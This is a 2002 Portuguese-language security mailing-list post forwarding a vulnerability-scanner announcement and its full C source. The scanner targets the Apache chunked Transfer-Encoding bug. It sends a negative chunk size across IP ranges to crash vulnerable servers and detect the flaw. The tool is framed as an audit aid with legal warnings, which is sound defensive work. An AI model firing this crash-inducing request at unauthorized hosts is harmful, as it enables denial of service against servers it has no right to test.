[SECURITY-L] Ferramenta de auditoria para o bug no Apache

Daniela Regina Barbetti Silva daniela em ccuec.unicamp.br
Sex Jun 28 16:41:51 -03 2002


----- Forwarded message from Thiago Zaninotti <thiago em securenet.com.br> -----

From: Thiago Zaninotti <thiago em securenet.com.br>
Subject: Ferramenta de auditoria para o bug no Apache
To: security-l em unicamp.br
Cc: daniela em ccuec.unicamp.br
Date: Wed, 26 Jun 2002 02:33:06 -0300 (BRT)


Caros Senhores,

Esta disponível em anexo uma ferramenta para auditoria de servidores Apache 
em relação ao último bug do Chunked Transfer-Encoding.

A ferramenta possue opções de checagens utilizando um RANGE de endereços
IP, o que pode ser muito útil para a auditoria de zonas desmilitarizadas ou
de segmentos específicos de servidores web.

O arquivo pode ser carregado eletrônicamente através da url:
http://www.nstalker.com/defense/nstalker-chunked.c

No caso desta ferramenta em especial, a verificação é feita através do
envio de um inteiro com valor negativo que, depois de sobreviver às 
checagens tradicionais de overflow, irá servir como parâmetro para 
o memcpy() da função ap_bread(). Uma vez lá, ele será transformado 
em um inteiro unsigned, expandindo-se para em algo suficientemente
grande para sobrescrever áreas arbitrárias da memória e causar uma 
falha de segmentação.  

Para maiores detalhes, favor verificar:
http://httpd.apache.org/info/security_bulletin_20020620.txt

Todos os "requests" carregam um aviso legal para evitar o uso
inadequado da ferramenta. Um administrador deverá facilmente identificar
um "probe" não autorizado.

Atenciosamente,

Thiago M M Zaninotti 
Sr. Information Security Specialist
Certified Information Systems Security Professional, CISSP

PK available at http://www.securenet.com.br/editor.asc

http://www.securenet.com.br
Portal Brasileiro de Seguranca da Informacao



/*
 * ------------------------------------------------------------------
 * N-Stalker Apache Chunked Transfer Vulnerability Scanner - Jun/2002
 * By Thiago Zaninotti <tmzani em nstalker.com>
 * ------------------------------------------------------------------
 * 
 * This software will test your web server against the newest Apache's 
 * vulnerability -- the Chunked Transfer vulnerability.
 *
 * By not handling adequately a signed int value received by the http 
 * client, the web server might provide an incorrect value as the 
 * length parameter to a memcpy call.
 *
 * Please, refer to:
 * http://httpd.apache.org/info/security_bulletin_20020620.txt
 * http://www.cert.org/advisories/CA-2002-17.html
 * 
 * Check the latest version of N-Stealth HTTP Security Scanner at
 * http://www.nstalker.com/nstealth
 *
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
 * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED.  IN NO EVENT SHALL THE N-STALKER OR ITS CONTRIBUTORS 
 * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, 
 * OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT 
 * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; 
 * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 
 * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
 * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#include <stdio.h>
#include <stdarg.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <signal.h>
#include <setjmp.h>

#define GRL_ERROR		-1
#define TCP_SEND_TIMEOUT	6
#define TCP_READ_TIMEOUT	6
#define TIME_OUT		5
#define BUFFER_SIZE		512

#define VULNERABLE		0
#define NOT_VULNERABLE		1
#define MAY_BE_VULNERABLE	2

char legal[]="------------------------------------------------------------\n"
             "This program has been released under the public domain terms.\n"
             "N-Stalker does not provide any support or shall take any\n"
             "responsability on its usage.\n"
             "http://www.nstalker.com - Any comments: contact em nstalker.com\n"
             "------------------------------------------------------------\n"
             "\nTHIS TOOL SHOULD NOT BE USED WITHOUT PRIOR AUTHORIZATION\n"; 

const char request[] = "POST /authorized.html HTTP/1.0\nHost: authorized-one\n"
	               "X-Legal-Warn: This host is being tested against the Apache Chunked Transfer Vulnerability\n"
		       "Transfer-Encoding: Chunked\n\nffffff555\nThis is a test\n0\r\n\r\n";

sigjmp_buf env;

void
output ( char *fmt, ...)
{
  va_list str;

  va_start ( str, fmt);
  vfprintf ( stderr, fmt, str);
  va_end ( str);
}

void
fatal ( char *fmt, ...)
{
  va_list str;
  
  va_start ( str, fmt);
  vfprintf ( stderr, fmt, str);
  va_end ( str);

  exit ( -1);
}

void
time_out ( void)
{
  output ( "+ Time out: Connection to the server has failed!\n");
  siglongjmp ( env, 1);
}

unsigned int
tcp_send ( int fd, char * data, int len)
{
  int n;
  fd_set wfds;
  struct timeval tv;

  FD_ZERO ( &wfds);
  FD_SET ( fd, &wfds);
  // timeout
  tv.tv_sec = TCP_SEND_TIMEOUT;
  tv.tv_usec = 0;

  n = select ( fd + 1, NULL, &wfds, NULL, &tv);
  if ( n > 0)
  {
    n = write ( fd, data, len);
    return n;
  }
  else
    return ( -1);
}

int
tcp_connect ( unsigned char * host, int port)
{
  struct sockaddr_in sa;
  int sk, value=0;

  sk = socket ( AF_INET, SOCK_STREAM, 0);
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = inet_addr ( host);
  sa.sin_port = htons ( port);

  if ( sa.sin_addr.s_addr == INADDR_NONE)
    fatal ( "+ Please, check the host argument. Host <%s> does not seem to exist!\n", host);

  if ( sigsetjmp ( env, 1))
     return -1;

  alarm (TIME_OUT);
   value = connect ( sk, (struct sockaddr *) &sa, sizeof(sa));
  alarm (0);
  if ( value == 0)
    return sk;
  else
    return value;
}

int
test_return ( int fd)
{
  int sel, n, size=0;
  fd_set rfds;
  struct timeval tv;
  char localBuf[2048];

  FD_ZERO ( &rfds);
  FD_SET ( fd, &rfds);
  // timeout
  tv.tv_sec = TCP_READ_TIMEOUT;
  tv.tv_usec = 0;

  sel = select ( fd + 1, &rfds, NULL, NULL, &tv);
  if ( sel <= 0)
     return MAY_BE_VULNERABLE;

  memset ( &localBuf, 0, sizeof ( localBuf));
  n = read ( fd, localBuf, sizeof ( localBuf));
  
  if ( n <= 0)
    return VULNERABLE;
  else
    return NOT_VULNERABLE;
}

unsigned long
name2ip ( unsigned char * host)
{
   struct hostent *h;
   unsigned long addr;

   h = gethostbyname ( host);
   if (!h) {
     if ( (addr = (long) inet_addr ( host)) == INADDR_NONE)
       return -1;
     else
       return addr;
   }
   else
     memcpy ( (char *)&addr, h->h_addr, h->h_length);

   return addr;
}

int 
main ( int argc, char *argv[])
{
  struct sockaddr_in sa;
  unsigned char *buf, *ptr;
  int fd, value, x, num_vuln=0, num_scanned=0;
  unsigned int low=0, high=0;
  char host_fmt[255], host[255], *ptr_arg;

  signal ( SIGALRM, (void *) time_out);

  output ("\nN-STALKER's Apache Chunked Vulnerability Scanner v1.0 (Jun/2002)\n%s\n", legal);
  if ( argc < 3) 
    fatal ( "+ Usage: nstalker-apache <range> <port> (where range is 192.168.1.1-100) or\n"
            "         nstalker-apache <ip|host> <port> (ex: www.nstalker.com 80)\n\n");

  memset ( &host_fmt, 0, sizeof host_fmt); memcpy ( &host_fmt, argv[1], strlen ( argv[1]));
  if ( ptr_arg = (char *) strchr ( host_fmt, '-'))
  {
    *ptr_arg = '\0'; ptr_arg++; high = (unsigned int)atoi ( ptr_arg);
  }
  if ( ptr_arg = (char *) strrchr ( host_fmt, '.'))
  {
    ptr_arg++; low = (unsigned int)atoi ( ptr_arg); 
    if ( low > 0) *ptr_arg = '\0';
  }
  if ( high == 0) high = low;

  for ( x = low; x <= high; x++)
  {
    memset ( &host, 0, sizeof host);
    if ( low == 0)
    {
      struct in_addr in;
      in.s_addr = name2ip ( host_fmt);
      snprintf ( host, sizeof host, "%s", inet_ntoa ( in));
    }
    else 
      snprintf ( host, sizeof host, "%s%d", host_fmt, x); 
    
    output ( "\n++ Scanning <%s>\n", host);

    if ( (fd = tcp_connect ( host, atoi ( argv[2]))) < 0)
    {
      output ( "+ Cannot connect to http://%s:%d\n", host, atoi ( argv[2]));
      goto close_sock;
    }
  
    ptr = buf = (char *) malloc ( BUFFER_SIZE); memset ( buf, 0, BUFFER_SIZE-1);
    memcpy ( ptr, request, strlen ( request)); ptr+=strlen ( request);
    
    if ( tcp_send ( fd, buf, strlen ( buf)) <= 0)
    {
      output ( "+ Cannot send data to http://%s:%d\n", host, atoi ( argv[2]));
      goto close_sock;
    }

    value = test_return (fd);
    if ( value == NOT_VULNERABLE)
      output ( "+ This server is not vulnerable to the Chunked Transfer vulnerability\n");
    else 
    if ( value == VULNERABLE)
    {
      num_vuln++;
      output ( "+ This server IS vulnerable to the Chunked Transfer vulnerability.\n"
              "+ Please, check the latest version of apache at http://httpd.apache.org\n");
    }
    else 
      output ( "+ I was not able to detect the vulnerability as the connection time out.\n"
              "+ Please, try again the tool against your web server or check its availability.\n"); 

    num_scanned++;
close_sock:
    close ( fd);
  }

  output ( "\n------------------------------------------"
           "\nNumber of hosts sucessfully scanned: %d", num_scanned);
  output ( "\nNumber of vulnerable hosts: %d", num_vuln);
  output ( "\n------------------------------------------\n\n");

  output ( "+ This tool is a cortesy of N-Stalker (http://www.nstalker.com)\n\n");
}


----- End forwarded message -----




Mais detalhes sobre a lista de discussão SECURITY-L